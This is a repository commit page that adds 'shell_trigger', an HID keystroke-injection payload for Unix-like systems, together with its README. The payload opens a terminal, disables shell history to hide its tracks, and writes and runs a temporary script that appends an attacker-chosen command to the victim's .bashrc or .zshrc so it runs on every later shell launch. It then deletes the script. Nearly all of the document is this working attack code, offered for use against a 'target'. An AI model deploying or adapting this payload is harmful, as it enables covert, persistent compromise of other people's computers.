mirror of https://github.com/hak5/omg-payloads.git
uploading shell_trigger payload
SHELL_TRIGGER is an payload which triggers commands/scripts on shell execution on target’s system OR triggers commands/scripts when target executes terminal emulator.pull/190/head
parent
6a69592c96
commit
a3a9cce3ff
|
@ -0,0 +1,23 @@
|
||||||
|
## About:
|
||||||
|
# Title: SHELL_TRIGGER
|
||||||
|
# Description: SHELL_TRIGGER is an payload which triggers commands/scripts on shell execution on target's system OR triggers commands/scripts when target executes terminal emulator.
|
||||||
|
# AUTHOR: drapl0n
|
||||||
|
# Version: 1.0
|
||||||
|
# Category: Execution.
|
||||||
|
# Target: Unix-like operating systems.
|
||||||
|
# Attackmodes: HID
|
||||||
|
|
||||||
|
## SHELL_TRIGGER: SHELL_TRIGGER is payload which triggers commands/scripts on shell execution on target's system OR triggers commands/scripts when target executes terminal emulator.
|
||||||
|
|
||||||
|
### Workflow:
|
||||||
|
1. Executing Terminal Emulator.
|
||||||
|
2. Prevent storing history.
|
||||||
|
3. Storing script in target's system.
|
||||||
|
4. Granting execution privilege.
|
||||||
|
5. Executing script in background.
|
||||||
|
|
||||||
|
### Changes to be made:
|
||||||
|
* Replace command on line `15` in `payload.txt` with command/script you want your target to execute on shell execution.
|
||||||
|
|
||||||
|
#### Support me if you like my work:
|
||||||
|
* https://twitter.com/drapl0n
|
|
@ -0,0 +1,25 @@
|
||||||
|
REM Title: shell_trigger
|
||||||
|
REM Description: shell_trigger is an payload which triggers commands/scripts on shell execution on target's system OR triggers commands/scripts when target executes terminal emulator.
|
||||||
|
REM AUTHOR: drapl0n
|
||||||
|
REM Version: 1.0
|
||||||
|
REM Category: Execution.
|
||||||
|
REM Target: Unix-like operating systems.
|
||||||
|
REM Attackmodes: HID
|
||||||
|
|
||||||
|
DELAY 1000
|
||||||
|
CTRL ALT t
|
||||||
|
DELAY 500
|
||||||
|
STRING unset HISTFILE
|
||||||
|
ENTER
|
||||||
|
DELAY 100
|
||||||
|
STRING cmd="echo hello world"
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING echo -e "ls -a ~/ | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"$cmd\" >> ~/.zshrc\nfi\n\nls -a ~/ | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"$cmd\" >> ~/.bashrc\nfi" >> /tmp/sys
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING chmod +x /tmp/sys
|
||||||
|
ENTER
|
||||||
|
DELAY 200
|
||||||
|
STRING /tmp/./sys && rm /tmp/sys && exit
|
||||||
|
ENTER
|
Loading…
Reference in New Issue